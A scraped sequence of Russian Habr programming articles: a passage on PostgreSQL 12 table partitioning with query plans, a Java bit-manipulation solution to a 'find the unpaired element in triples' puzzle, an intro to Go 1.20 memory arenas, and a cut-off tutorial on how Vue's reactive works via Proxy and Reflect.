=> INSERT INTO bookings_list VALUES ('XX0001','201708','2017-08-01',100)
ON CONFLICT(book_ref,book_month) DO UPDATE SET total_amount = 100
RETURNING tableoid::regclass, *;
```
```
tableoid | book_ref | book_month | book_date | total_amount
----------------------+----------+------------+------------------------+--------------
bookings_list_201708 | XX0001 | 201708 | 2017-08-01 00:00:00+03 | 100.00
(1 row)
INSERT 0 1
```
Внешние ключи
-------------
В демо-базе таблица tickets ссылается на bookings.
Чтобы внешний ключ был возможен, добавим столбец book\_month, а заодно разбиваем на секции по месяцам, как и bookings\_list.
```
=> CREATE TABLE tickets_list (
ticket_no character(13),
book_month character(6),
book_ref character(6) NOT NULL,
passenger_id varchar(20) NOT NULL,
passenger_name text NOT NULL,
contact_data jsonb,
PRIMARY KEY (ticket_no, book_month),
FOREIGN KEY (book_ref, book_month) REFERENCES bookings_list (book_ref, book_month)
) PARTITION BY LIST (book_month);
```
На ограничение FOREIGN KEY стоит посмотреть внимательнее. C одной стороны это внешний ключ *из* секционированной таблицы(tickets\_list), а с другой стороны это ключ *на* секционированную таблицу(bookings\_list). Таким образом, внешние ключи для секционированных таблиц поддерживаются в обе стороны.
Создаем секции:
```
=> WITH dates AS (
SELECT date_trunc('month',min(book_date)) min_date,
date_trunc('month',max(book_date)) max_date
FROM bookings
), partition AS (
SELECT to_char(g.month, 'YYYYMM') AS book_month
FROM dates,
generate_series(dates.min_date, dates.max_date, '1 month'::interval) AS g(month)
)
SELECT format('CREATE TABLE %I PARTITION OF tickets_list FOR VALUES IN (%L)',
'tickets_list_' || partition.book_month, partition.book_month)
FROM partition\gexec
```
```
CREATE TABLE
CREATE TABLE
CREATE TABLE
```
```
=> \d+ tickets_list
```
```
Partitioned table "bookings.tickets_list"
Column | Type | Collation | Nullable | Default | Storage | Stats target | Description
----------------+-----------------------+-----------+----------+---------+----------+--------------+-------------
ticket_no | character(13) | | not null | | extended | |
book_month | character(6) | | not null | | extended | |
book_ref | character(6) | | not null | | extended | |
passenger_id | character varying(20) | | not null | | extended | |
passenger_name | text | | not null | | extended | |
contact_data | jsonb | | | | extended | |
Partition key: LIST (book_month)
Indexes:
"tickets_list_pkey" PRIMARY KEY, btree (ticket_no, book_month)
Foreign-key constraints:
"tickets_list_book_ref_book_month_fkey" FOREIGN KEY (book_ref, book_month) REFERENCES bookings_list(book_ref, book_month)
Partitions: tickets_list_201706 FOR VALUES IN ('201706'),
tickets_list_201707 FOR VALUES IN ('201707'),
tickets_list_201708 FOR VALUES IN ('201708')
```
Заполняем:
```
=> INSERT INTO tickets_list
(ticket_no,book_month,book_ref,passenger_id,passenger_name,contact_data)
SELECT t.ticket_no,b.book_month,t.book_ref,
t.passenger_id,t.passenger_name,t.contact_data
FROM bookings_list b JOIN tickets t ON (b.book_ref = t.book_ref);
```
```
INSERT 0 366733
```
```
=> VACUUM ANALYZE tickets_list;
```
Распределение строк по секциям:
```
=> SELECT tableoid::regclass, count(*) FROM tickets_list GROUP BY tableoid;
```
```
tableoid | count
---------------------+--------
tickets_list_201706 | 10160
tickets_list_201707 | 232755
tickets_list_201708 | 123818
(3 rows)
```
Запросы на соединение и агрегирование
-------------------------------------
Соединим две таблицы, секционированные одинаково:
```
=> EXPLAIN (COSTS OFF)
SELECT b.*
FROM bookings_list b JOIN tickets_list t
ON (b.book_ref = t.book_ref and b.book_month = t.book_month);
```
```
QUERY PLAN
----------------------------------------------------------------------------
Hash Join
Hash Cond: ((t.book_ref = b.book_ref) AND (t.book_month = b.book_month))
-> Append
-> Seq Scan on tickets_list_201706 t
-> Seq Scan on tickets_list_201707 t_1
-> Seq Scan on tickets_list_201708 t_2
-> Hash
-> Append
-> Seq Scan on bookings_list_201706 b
-> Seq Scan on bookings_list_201707 b_1
-> Seq Scan on bookings_list_201708 b_2
(11 rows)
```
Прежде чем начать соединение в каждой таблице сначала объединяются секции, попадающие в условие запроса.
А ведь можно было бы сначала соединять соответсвующие по месяцам секции обеих таблиц, а потом объединять результат. Этого можно добиться включив параметр enable\_partitionwise\_join:
```
=> SET enable_partitionwise_join = ON;
=> EXPLAIN (COSTS OFF)
SELECT b.*
FROM bookings_list b JOIN tickets_list t
ON (b.book_ref = t.book_ref and b.book_month = t.book_month);
```
```
QUERY PLAN
------------------------------------------------------------------------------------------
Append
-> Hash Join
Hash Cond: ((t.book_ref = b.book_ref) AND (t.book_month = b.book_month))
-> Seq Scan on tickets_list_201706 t
-> Hash
-> Seq Scan on bookings_list_201706 b
-> Hash Join
Hash Cond: ((t_1.book_ref = b_1.book_ref) AND (t_1.book_month = b_1.book_month))
-> Seq Scan on tickets_list_201707 t_1
-> Hash
-> Seq Scan on bookings_list_201707 b_1
-> Hash Join
Hash Cond: ((t_2.book_ref = b_2.book_ref) AND (t_2.book_month = b_2.book_month))
-> Seq Scan on tickets_list_201708 t_2
-> Hash
-> Seq Scan on bookings_list_201708 b_2
(16 rows)
```
Теперь сначала выполняется соединение соответствующих секций двух таблиц, а затем объединяются результаты соединений.
Похожая ситуация с агрегированием:
```
=> EXPLAIN (COSTS OFF) SELECT count(*) FROM bookings_list;
```
```
QUERY PLAN
-------------------------------------------------------------------
Finalize Aggregate
-> Gather
Workers Planned: 2
-> Partial Aggregate
-> Parallel Append
-> Parallel Seq Scan on bookings_list_201707
-> Parallel Seq Scan on bookings_list_201708
-> Parallel Seq Scan on bookings_list_201706
(8 rows)
```
Отметим, что сканирование секций может выполнятся параллельно. Но сначала объединяются секции, только потом начинается агрегация. А можно наоборот, выполнять агрегацию в каждой секции, затем объединить результат:
```
=> SET enable_partitionwise_aggregate = ON;
=> EXPLAIN (COSTS OFF) SELECT count(*) FROM bookings_list;
```
```
QUERY PLAN
-------------------------------------------------------------------
Finalize Aggregate
-> Gather
Workers Planned: 2
-> Parallel Append
-> Partial Aggregate
-> Parallel Seq Scan on bookings_list_201707
-> Partial Aggregate
-> Parallel Seq Scan on bookings_list_201708
-> Partial Aggregate
-> Parallel Seq Scan on bookings_list_201706
(10 rows)
```
Эти возможности особенно важны, если часть секций являются внешними таблицами. По умолчанию обе отключены, т.к. соответствующие параметры влияют на время построения плана, но не всегда могут быть использованы.
Секционирование по хешу
-----------------------
Третий способ разбиения таблицы — секционирование по хешу.
Создание таблицы:
```
=> CREATE TABLE bookings_hash (
book_ref character(6) PRIMARY KEY,
book_date timestamptz NOT NULL,
total_amount numeric(10,2)
) PARTITION BY HASH(book_ref);
```
В таком варианте book\_ref, как ключ секционирвания, сразу можно объявлять первичным ключом.
Разобъем на три секции:
```
=> CREATE TABLE bookings_hash_p0
PARTITION OF bookings_hash FOR VALUES WITH (MODULUS 3, REMAINDER 0);
=> CREATE TABLE bookings_hash_p1
PARTITION OF bookings_hash FOR VALUES WITH (MODULUS 3, REMAINDER 1);
=> CREATE TABLE bookings_hash_p2
PARTITION OF bookings_hash FOR VALUES WITH (MODULUS 3, REMAINDER 2);
```
Заполнение с автоматической раскладкой по секциям:
```
=> INSERT INTO bookings_hash SELECT * FROM bookings;
```
```
INSERT 0 262788
```
Распределение строк по секциям происходит равномерно:
```
=> SELECT tableoid::regclass AS partition, count(*) FROM bookings_hash GROUP BY tableoid;
```
```
partition | count
------------------+-------
bookings_hash_p0 | 87649
bookings_hash_p1 | 87651
bookings_hash_p2 | 87488
(3 rows)
```
Новая команда для просмотра секционированных объектов:
```
=> \dP+
```
```
List of partitioned relations
Schema | Name | Owner | Type | Table | Total size | Description
----------+--------------------+---------+-------------------+----------------+------------+-------------
bookings | bookings_hash | student | partitioned table | | 13 MB |
bookings | bookings_list | student | partitioned table | | 15 MB |
bookings | bookings_range | student | partitioned table | | 13 MB |
bookings | tickets_list | student | partitioned table | | 50 MB |
bookings | book_date_idx | student | partitioned index | bookings_range | 5872 kB |
bookings | bookings_hash_pkey | student | partitioned index | bookings_hash | 5800 kB |
bookings | bookings_list_pkey | student | partitioned index | bookings_list | 8120 kB |
bookings | tickets_list_pkey | student | partitioned index | tickets_list | 19 MB |
(8 rows)
```
```
=> VACUUM ANALYZE bookings_hash;
```
Подзапросы и соединения вложенными циклами
------------------------------------------
Исключение секций во время выполнения возможно при соединениях вложенными циклами.
Распределение первых 10 бронирований по секциям:
```
=> WITH top10 AS (
SELECT tableoid::regclass AS partition, * FROM bookings_hash ORDER BY book_ref LIMIT 10
) SELECT partition, count(*) FROM top10 GROUP BY 1 ORDER BY 1;
```
```
partition | count
------------------+-------
bookings_hash_p0 | 3
bookings_hash_p1 | 3
bookings_hash_p2 | 4
(3 rows)
```
Посмотрим на план выполнения запроса с соединением таблицы bookings\_hash и предыдущего подзапроса:
```
=> EXPLAIN (ANALYZE,COSTS OFF,TIMING OFF)
WITH top10 AS (
SELECT tableoid::regclass AS partition, * FROM bookings ORDER BY book_ref LIMIT 10
) SELECT bh.* FROM bookings_hash bh JOIN top10 ON bh.book_ref = top10.book_ref;
```
```
QUERY PLAN
-----------------------------------------------------------------------------------------------------
Nested Loop (actual rows=10 loops=1)
-> Limit (actual rows=10 loops=1)
-> Index Only Scan using bookings_pkey on bookings (actual rows=10 loops=1)
Heap Fetches: 0
-> Append (actual rows=1 loops=10)
-> Index Scan using bookings_hash_p0_pkey on bookings_hash_p0 bh (actual rows=1 loops=3)
Index Cond: (book_ref = bookings.book_ref)
-> Index Scan using bookings_hash_p1_pkey on bookings_hash_p1 bh_1 (actual rows=1 loops=3)
Index Cond: (book_ref = bookings.book_ref)
-> Index Scan using bookings_hash_p2_pkey on bookings_hash_p2 bh_2 (actual rows=1 loops=4)
Index Cond: (book_ref = bookings.book_ref)
Planning Time: 0.632 ms
Execution Time: 0.278 ms
(13 rows)
```
Выполняется соединение методом вложенных циклов. Внешний цикл по общему табличному выражению выполняется 10 раз. Но обратите внимание на количество обращений к таблицам-секциям(loops). Для каждого значения book\_ref внешнего цикла просматривается только секция, где это значение хранится в таблице bookings\_hash.
Сравните с отключенным исключением секций:
```
=> SET enable_partition_pruning TO OFF;
=> EXPLAIN (ANALYZE,COSTS OFF,TIMING OFF)
WITH top10 AS (
SELECT tableoid::regclass AS partition, * FROM bookings ORDER BY book_ref LIMIT 10
) SELECT bh.* FROM bookings_hash bh JOIN top10 ON bh.book_ref = top10.book_ref;
```
```
QUERY PLAN
------------------------------------------------------------------------------------------------------
Nested Loop (actual rows=10 loops=1)
-> Limit (actual rows=10 loops=1)
-> Index Only Scan using bookings_pkey on bookings (actual rows=10 loops=1)
Heap Fetches: 0
-> Append (actual rows=1 loops=10)
-> Index Scan using bookings_hash_p0_pkey on bookings_hash_p0 bh (actual rows=0 loops=10)
Index Cond: (book_ref = bookings.book_ref)
-> Index Scan using bookings_hash_p1_pkey on bookings_hash_p1 bh_1 (actual rows=0 loops=10)
Index Cond: (book_ref = bookings.book_ref)
-> Index Scan using bookings_hash_p2_pkey on bookings_hash_p2 bh_2 (actual rows=0 loops=10)
Index Cond: (book_ref = bookings.book_ref)
Planning Time: 0.886 ms
Execution Time: 0.771 ms
(13 rows)
```
```
=> RESET enable_partition_pruning;
```
Если сократить выборку до одного бронирования, то две секции вообще не будут просматриваться:
```
=> EXPLAIN (ANALYZE,COSTS OFF,TIMING OFF)
WITH top AS (
SELECT tableoid::regclass AS partition, * FROM bookings ORDER BY book_ref LIMIT 1
) SELECT bh.* FROM bookings_hash bh JOIN top ON bh.book_ref = top.book_ref;
```
```
QUERY PLAN
---------------------------------------------------------------------------------------------------
Nested Loop (actual rows=1 loops=1)
-> Limit (actual rows=1 loops=1)
-> Index Only Scan using bookings_pkey on bookings (actual rows=1 loops=1)
Heap Fetches: 0
-> Append (actual rows=1 loops=1)
-> Index Scan using bookings_hash_p0_pkey on bookings_hash_p0 bh (actual rows=1 loops=1)
Index Cond: (book_ref = bookings.book_ref)
-> Index Scan using bookings_hash_p1_pkey on bookings_hash_p1 bh_1 (never executed)
Index Cond: (book_ref = bookings.book_ref)
-> Index Scan using bookings_hash_p2_pkey on bookings_hash_p2 bh_2 (never executed)
Index Cond: (book_ref = bookings.book_ref)
Planning Time: 0.250 ms
Execution Time: 0.090 ms
(13 rows)
```
Вместо подзапроса можно использовать функцию возвращающую множество и с категорией изменчивости STABLE:
```
=> CREATE OR REPLACE FUNCTION get_book_ref(top int) RETURNS SETOF bookings AS $$
BEGIN
RETURN QUERY EXECUTE 'SELECT * FROM bookings ORDER BY book_ref LIMIT $1'
USING top;
END;$$ LANGUAGE plpgsql STABLE;
```
```
=> EXPLAIN (ANALYZE,COSTS OFF,TIMING OFF)
SELECT * FROM bookings_hash bh JOIN get_book_ref(10) f ON bh.book_ref = f.book_ref;
```
```
QUERY PLAN
-----------------------------------------------------------------------------------------------------
Nested Loop (actual rows=10 loops=1)
-> Function Scan on get_book_ref f (actual rows=10 loops=1)
-> Append (actual rows=1 loops=10)
-> Index Scan using bookings_hash_p0_pkey on bookings_hash_p0 bh (actual rows=1 loops=3)
Index Cond: (book_ref = f.book_ref)
-> Index Scan using bookings_hash_p1_pkey on bookings_hash_p1 bh_1 (actual rows=1 loops=3)
Index Cond: (book_ref = f.book_ref)
-> Index Scan using bookings_hash_p2_pkey on bookings_hash_p2 bh_2 (actual rows=1 loops=4)
Index Cond: (book_ref = f.book_ref)
Planning Time: 0.175 ms
Execution Time: 0.843 ms
(11 rows)
```
Итоги
-----
Подводя итоги можно сказать, что встроенное или декларативное секционирование в PostgreSQL 12 получило богатый набор возможностей и его можно смело рекомендовать на замену секционированию через наследование. | https://habr.com/ru/post/456716/ | null | ru | null |
# Двоично-троичная битовая магия
Существует классическая задача для собеседований, часто формулируемая следующим образом:
> Имеется массив натуральных чисел. Каждое из чисел присутствует в массиве ровно два раза, и только одно из чисел не имеет пары. Необходимо предложить алгоритм, который за минимальное число проходов по массиву определяет число, не имеющее пары.
Полагаю, никто не обидится, если я тут же приведу и решение задачи: уникальный элемент будет совпадать с -суммой всех элементов массива, вычисляемой за линейное время.
Предлагаю поразмыслить над другой вариацией данной задачи. Что, если все элементы, кроме искомого, будут присутствовать в массиве не парами, а тройками? Насколько при этом усложнится решение и останется ли оно линейным?
---
Попробуем решать по аналогии.  подошёл из-за того, что обладает двумя замечательными свойствами (помимо ассоциативности и коммутативности, естественно):
1. 
2. 
Символ  в данной записи — это математическое обозначение операции . Предположим на минуту, что существует операция , удовлетворяющая похожим свойствам:
1. 
2. 
В этом случае -сумма всех элементов массива дала бы правильный ответ. Поэтому займёмся построением такой функции.
Все мы привыкли воспринимать  как "побитовое исключающее или" (тут даже название выбрано подходящее — eXclusive OR), но я предлагаю взглянуть на эту операцию под немного другим углом — как на "поразрядное сложение по модулю 2". Не зря ведь символ  так похож на плюс.
Вроде бы поменяли только название, а мысли появляются уже совсем другие. Битовое представление целых чисел — это просто представление в двоичной позиционной системе счисления. И если каждый бит воспринимать как число 0 или 1, то их  — это в точности сложение по модулю два.
Следуя подобным рассуждениям, в качестве  можно взять поразрядное сложение по модулю 3 в троичной системе счисления. Оно будет удовлетворять всем нужным свойствам, осталось только написать реализацию.
---
Открою тайну названия статьи. Существует достаточно распространённый способ кодирования чисел — [двоично-десятичный](https://ru.wikipedia.org/wiki/%D0%94%D0%B2%D0%BE%D0%B8%D1%87%D0%BD%D0%BE-%D0%B4%D0%B5%D1%81%D1%8F%D1%82%D0%B8%D1%87%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%B4) формат. Суть его в том, что каждые 4 бита данных хранят один десятичный разряд числа, что существенно облегчает перевод в строковое представление и обратно.
По аналогии хранение каждого троичного разряда по отдельности в двух битах данных можно назвать двоично-троичным кодированием числа. Например:
Понятное дело, для хранения обычного беззнакового 32-битного целого числа потребуется больший объём данных. А именно,  бит информации, что легко войдёт в 64-битный формат типа `long`.
Реализация конвертирования из двоичного в двоично-троичный формат довольно топорная — обычный цикл с чтением/записью нужных бит по смещению:
```
static long to3(int n) {
long ln = ((long) n) & 0xFFFFFFFFL;
long result = 0L;
for (int offset = 0; ln != 0L; ln /= 3, offset += 2) {
result |= (ln % 3) << offset;
}
return result;
}
```
```
static int from3(long n) {
long result = 0L;
for (int offset = 40; offset >= 0; offset -= 2) {
result = (result * 3) + ((n >> offset) & 0x3L);
}
return (int) result;
}
```
Что же касается операции , то для неё тоже доступна простая реализация:
```
static long xor3(long a, long b) {
long result = 0L;
for (int offset = 0; offset < 42; offset += 2) {
long digit = ((a >> offset) & 0x3L) + ((b >> offset) & 0x3L);
result |= (digit % 3) << offset;
}
return result;
}
```
Её уже можно тестировать (и она даже работает!), но я ей не доволен.
Понимаете, "битовые" функции обычно выглядят так (это метод из класса `Long`):
```
public static long reverse(long i) {
i = (i & 0x5555555555555555L) << 1 | (i >>> 1) & 0x5555555555555555L;
i = (i & 0x3333333333333333L) << 2 | (i >>> 2) & 0x3333333333333333L;
i = (i & 0x0f0f0f0f0f0f0f0fL) << 4 | (i >>> 4) & 0x0f0f0f0f0f0f0f0fL;
i = (i & 0x00ff00ff00ff00ffL) << 8 | (i >>> 8) & 0x00ff00ff00ff00ffL;
i = (i << 48) | ((i & 0xffff0000L) << 16) |
((i >>> 16) & 0xffff0000L) | (i >>> 48);
return i;
}
```
Меня такой код восхищает, потому что он наверняка супер оптимален и с первого взгляда совершенно непонятно, как работает. От подобных алгоритмов я получаю особое удовольствие.
Именно поэтому я перепишу реализацию `xor3`, избавившись от циклов и условий:
```
static long xor3(long a, long b) {
long o = a & b & 0xAAAAAAAAAAAAAAAAL;
long c = (a + b) - (o << 1);
long m = c & (c >>> 1) & 0x5555555555555555L;
return (c & ~(m | m << 1)) | (o >>> 1);
}
```
Далее последуют объяснения, что вообще происходит и как люди до такого доходят.
---
Итак, стоит задача одновременной обработки 21-й пары бит (можно и больше), руководствуясь следующими правилами:
Пара бит "11" просто не может попасться, поскольку она соответствовала бы разряду со значением 3, которое в троичной системе счисления не встречается.
Что будет, если просто сложить аргументы `a` и `b`? Данная операция сохранит "локальность" пар бит почти для всех вариантов входных данных. Единственное исключение — сумма `10` и `10`, которая при переполнении залезет на территорию соседней пары.
К данной проблеме может быть два подхода — предотвращение или исправление последствий. Второй вариант оказывается гораздо более простым. Из получившейся суммы нужно просто вычесть все биты переполнения. Находятся они только там, где старшие биты каждой пары равны единице. Отсюда рождается первая магическая переменная:
```
long o = a & b & 0xAAAAAAAAAAAAAAAAL;
```
Константа, на первый взгляд непонятная, в двоичном представлении выглядит предельно просто: `0b101010...10`. В ней единицы стоят через одну, пропуская самый младший бит. Это помогает отрезать от `a & b` всё то, что нас сейчас не интересует. Сдвинув `o` на 1 бит влево, мы как раз получим все биты переполнения, появляющиеся при сложении
```
long c = (a + b) - (o << 1);
```
Переменная `c` хранит значение, очень близкое к результату, но с ошибками:
1. В ней есть пары бит `11`, которые по модулю 3 должны быть заменены на `00`.
2. Все результаты сложения `10` и `10` равны `00`, а должны быть `01`.
Исправим эти ошибки по порядку. Найти пары бит, равные `11`, не сложно, мы уже делали что-то очень похожее.
```
long m = c & (c >>> 1) & 0x5555555555555555L;
```
Магическая константа здесь — это не что иное, как `~0xAAAAAAAAAAAAAAAAL`, то есть число, в котором единичные биты стоят через один, начиная с самого младшего. Тем самым в значении `m` единичные биты будут стоять младшими битами пар, соответствующих парам `11` в значении `c`.
Выражение `m | m << 1` представляет эти пары целиком. Избавиться от них теперь можно двумя способами. Какой выбирать — дело вкуса:
* `c -= m | m << 1;`
* `c &= ~(m | m << 1);`
Разобраться с последней ошибкой проще простого: нужно добавить биты там, где мы складывали `10` и `10`. А равны они в точности `o >>> 1`. Поэтому итоговый код выглядит именно так:
```
return (c & ~(m | m << 1)) | (o >>> 1);
```
---
Но это ещё не всё. Избавившись от циклов и условий в одной из функций, я совсем позабыл о циклах и условиях в двух оставшихся — `to3` и `from3`. Можно ли их оптимизировать подобным образом?
Смотря как посмотреть. Если хочется по-честному переводить в троичную систему счисления, то придётся делить/умножать на 3, тут никуда не деться. НО ведь можно заменить саму операцию на более оптимальную: сопоставлять 32-х разрядному двоичному числу другое 32-х разрядное троичное число так, чтобы разным двоичным числам соответствовали разные троичные (такие отображения называются инъективными), при этом значения двоичного и троичного чисел совпадать не обязаны.
Например, прямое отображение двоичных разрядов в троичные (). Однако здесь реализация будет всё такой же неудобной. Самый простой вариант, который приходит мне на ум — это поместить чётные биты `int` в одну половину значения типа `long`, а нечётные — в другую. Код станет элементарным:
```
static long to3(int n) {
long ln = ((long) n) & 0xFFFFFFFFL;
return (ln & 0xAAAAAAAAAAAAAAAAL) | (ln & 0x5555555555555555L) << 32;
}
static int from3(long n) {
return (int) (n | n >>> 32);
}
```
Такие методы и заинлайнить можно, а значит решение исходной задачи будет выглядеть следующим образом:
```
static int find(int[] v) {
long res = 0L;
for (int n : v) {
long ln = ((long) n) & 0xFFFFFFFFL;
res = xor3(res, (ln & 0xAAAAAAAAAAAAAAAAL) | (ln & 0x5555555555555555L) << 32);
}
return (int) (res | res >>> 32);
}
```
Как видите, не очень сложно. Я бы даже сказал, что код выглядит красивым (хотя и нуждается в пояснениях). Надеюсь, что вы разделяете моё мнение.
Спасибо за внимание! | https://habr.com/ru/post/349996/ | null | ru | null |
# Go 1.20 и арена памяти
Одной из революционных особенностей Go в сравнении с другими компилируемыми языками стало автоматическое управление освобождением памяти от неиспользуемых объектов (сборка мусора). В то же время она может привести к потере производительности при передаче контроля процессу управления памятью, но альтернативного механизма в Go представлено не было. Начиная с Go 1.20 появляется поддержка экспериментального решения для управления памятью, которое позволяет совместить безопасное выделение динамической памяти и уменьшить влияние интегрированного в скомпилированный код управления памятью на производительность приложения. В этой статье мы рассмотрим основные аспекты использования Memory Arena в Go 1.20.
Для запуска кода будем использовать актуальную на данный момент версию Go 1.20rc2, которая может быть получена из установочного пакета или через go install [golang.org/dl/go1.20rc2@latest](http://golang.org/dl/go1.20rc2@latest)
Для включения поддержки нового механизма управления памятью добавим переменную окружения:
```
export GOEXPERIMENT=arenas
```
теперь для выделения памяти будем использовать новый модуль arena:
```
package main
import "arena"
type Person struct{
Lastname string
Firstname string
}
func main() {
mem := arena.NewArena()
defer mem.Free()
for i:=0; i<10; i++ {
obj := arena.New[Person](mem)
print(obj)
}
}
```
Как можно увидеть при запуске, адреса объектов будут выделяться последовательно из единой области памяти и (после вызова free) вся выделенная арена будет освобождаться. При правильном использовании это улучшает производительность кода, поскольку для арены не будет вызываться автоматическая сборка мусора. При необходимости копирования данных в обычный heap, может использоваться метод Clone, который создает копию структуры из арены в обычную динамическую память (например, при необходимости возврата результата обработки в основное приложение). Также в арене можно создавать слайсы с указанием начального размера и потенциальной емкости `arena.MakeSlice(mem, initial, capacity)`.
Для выделения памяти на основе типа из `reflect` также можно использовать новый метод `reflect.ArenaNew(mem, typ)`, который возвращает указатель на объект заданного типа, выделенный в арене, сохраненной в mem.
Обнаруживать ошибки при использовании арены (например, чтение или запись значения в структуру после освобождения арены) можно механизмами `go run -asan` (Address Sanitizer) или `go run -msan` (Memory Sanitizer), например:
```
package main
import "arena"
type Data struct {
value int32
}
func main() {
mem := arena.NewArena()
v := arena.New[Data](mem)
mem.Free()
v.value = 1
}
```
при запуске с asan/msan покажет ошибку некорректного использования указателя после освобождения арены.
Для хранения строк в арене можно использовать создание области памяти из последовательности байт и копировать в нее содержимое строки, например так:
```
src := "original"
mem := arena.NewArena()
defer mem.Free()
bs := arena.MakeSlice[byte](mem, len(src), len(src))
copy(bs, src)
str := unsafe.String(&bs[0], len(bs))
```
Арена также может использоваться не только для хранения структур, но и для примитивных типов данных (или их последовательностей), в этом случае взаимодействие ничем не отличается от работы с указателем на переменную:
```
package main
import "arena"
func main() {
mem := arena.NewArena()
defer mem.Free()
v := arena.New[int32](mem)
*v = 10
println(*v)
}
```
Аналогично поведение слайсов в арене не отличается от обычных слайсов в Go:
```
package main
import "arena"
func main() {
mem := arena.NewArena()
defer mem.Free()
v := arena.MakeSlice[int32](mem,50,100)
v[49] = 10;
v = append(v, 20)
println(v[49]) //10
println(v[50]) //20
println(len(v)) //51
println(cap(v)) //100
}
```
Для обнаружения утечек памяти при использовании арены можно использовать обычные механизмы профилирования в Go (go tool pprof для визуализации сэмплирования выделения памяти, которое может быть сохранено через функции модуля runtime/pprof). С точки зрения выделения памяти работа с ареной похожа на выделение одного блока памяти (который может увеличиваться в размере) и при освобождении арены все выделенные в ней объекты становятся недоступными.
Повышение производительности можно ожидать в тех случаях, когда приложение интенсивно выделяет память (например, при хранении двоичных деревьев или иных связанных структур данных), но при этом предполагается что выделенные структуры данных являются долгоживущими и существуют до момента освобождения арены целиком (сборщик мусора для арены не применяется и выделенные объекты в последовательной области памяти не очищаются).
Статья подготовлена в преддверии старта курса [Golang Developer. Professional.](https://otus.pw/2H5O/) Приглашаю всех на бесплатный вебинар, где руководитель курса проведет собеседование выпускника программы. Реальные вопросы, комментарии по ответам, советы. Будет интересно.
* [Зарегистрироваться на бесплатный вебинар](https://otus.pw/2H5O/) | https://habr.com/ru/post/710124/ | null | ru | null |
# Функция Reactive во Vue: как это работает
После jQuery я попробовал AngularJS и был очарован его возможностями. Несколько строк в AngularJS заменяли кучу спагетти-кода в jQuery. Это было похоже на магию. Сейчас все современные Frontend-фреймворки так или иначе обеспечивают реактивность, и это уже никого не удивляет. Тем не менее далеко не все разработчики понимают, как это работает.
Сейчас я работаю с Vue, поэтому и разбираться с тем, как устроены реактивные функции, будем на его примере. Я расскажу, как сделать из простого объекта реактивный, а также немного о том, какие современные возможности JS для этого используются.
Описание проблемы
-----------------
Допустим, у нас есть объект, в котором хранится информация о количестве товаров на разных складах. Мы хотим знать, сколько их суммарно:
```
const items = {
store1: 3,
store2: 4,
};
let totalCount = 0;
const effect = () => (totalCount = items.store1 + items.store2);
effect();
console.log(totalCount); // 7
items.store2 = 23;
console.log(totalCount); // 7 - итоговая сумма не поменялась
```
Такое поведение очевидно для тех, кто работает с JS. Но как быть, если не хочется после каждого изменения объекта вызывать функцию пересчёта? Во Vue есть функция `reactive`, и выглядит она примерно так:
```
import { reactive } from 'vue'
// реактивное состояние
const items = reactive({
store1: 3,
store2: 4,
})
setTimeout(() => {
items.store1 = 10;
}, 3000)
return { items }
```
Теперь где-нибудь в шаблоне выведем сумму товаров на всех складах. После срабатывания `setTimeout` сумма в шаблоне поменяется:
```
```
{{items.store1 + items.store2 }}
```
```
Реализуем аналог функции reactive
---------------------------------
Я предлагаю написать свою реализацию функции `reactive`, чтобы понять, как она работает «под капотом». Структура данных будет такой:
здесь:
* `targetMap` — корневое хранилище наших реактивных объектов; ключом будет объект, который мы хотим сделать реактивным, а значением — `depsMap`;
* `depsMap` — словарь со всеми зависимостями конкретного поля, поэтому в качестве ключа у неё поле объекта, который мы хотим сделать реактивным, а в качестве значения — сами зависимости;
* `deps` — `Set` со всем зависимостями конкретного поля.
Попробуем реализовать это в коде. Допустим, у нас есть объект `items`, который хранит в себе информацию о том, сколько объектов лежит на каждом из складов.
```
const items = {
store1: 3,
store2: 4,
};
let totalCount = 0;
const effect = () => (totalCount = items.store1 + items.store2);
// Создаем корневое хранилище для реактивного объекта
const targetMap = new WeakMap();
// Функция track будет начинать отслеживание изменений в конкретном поле объекта
function track(target, key) {
let depsMap = targetMap.get(target);
if (!depsMap) {
targetMap.set(target, (depsMap = new Map()));
}
let deps = depsMap.get(key);
if (!deps) {
depsMap.set(key, (deps = new Set()));
}
deps.add(effect);
}
// Начинаем отслеживать изменения в обоих полях объекта items
track(items, 'store1');
track(items, 'store2');
// Функция trigger будет запускаться каждый раз, когда происходят какие-то изменения в поле объекта
function trigger(target, key) {
const depsMap = targetMap.get(target);
if (!depsMap) return;
const deps = depsMap.get(key);
if (!deps) return;
deps.forEach((_effect) => _effect());
}
// Запускаем нашу функцию, чтобы обновить значение переменной totalCount
effect();
console.log(totalCount); // 7
// Обновляем количество айтемов на одном из складов
items.store2 = 23;
// Оповещаем об этом при помощи функции.
trigger(items, 'store2');
// Проверяем, что totalCount пересчиталась
console.log(totalCount); // 26
```
По-моему, прекрасно: целая страница кода ради функциональности, которую можно описать тремя строчками кода :) Но это только первая итерация, давайте улучшать. Проблемы этого решения:
* чтобы отслеживать изменения, необходимо вручную добавлять каждое поле каждого объекта;
* для применения изменений необходимо вручную запускать функцию-триггер.
Для решения этих проблем воспользуемся современными инструментами, которые нам предоставляет JS, а именно `Proxy` и `Reflect`.
### Reflect
Предположим, у нас есть объект `user`:
```
const user = {
name: 'Alex',
age: 32
}
```
Существует три способа обратиться к полю `age`:
```
console.log(user.age);
console.log(user['age']);
сonsole.log(Reflect.get(user, 'age'));
```
Все три вернут значение, но у `Reflect.get` есть дополнительное преимущество в виде третьего аргумента `receiver`, который мы будем использовать совместно с `Proxy`. Если коротко, то `receiver` — это прокси или объект, унаследованный от прокси.
Больше информации о Reflect API можно найти в [этой статье](https://habr.com/ru/company/tuturu/blog/334546/), но если коротко, Reflect API — это такая обёртка для манипуляций с объектом.
### Proxy
`Proxy` — это объект, который оборачивается вокруг другого объекта и позволяет перехватывать запросы к нему (`target`), модифицируя их.
Для примера опять воспользуемся объектом `user`, а также создадим объект `handler`, который будет иметь два метода — `get` и `set`, и передадим его в новый экземпляр `Proxy`.
```
const user = {
name: 'Alex',
age: 32
}
const handler = {
get(target, key, receiver) {
console.log('Was called Get method with key: ' + key);
return Reflect.get(target, key, receiver)
},
set(target, key, val, receiver) {
console.log('Was called Set method with key: ' + key + ' and velue: ' + val);
return Reflect.set(target, key, val, receiver);
}
}
user = new Proxy(user, handler);
console.log(user.name); // Was called Get method with key: name
// Alex
console.log((user.age = 33)); // Was called Set method with key: age and value 33
// 33
```
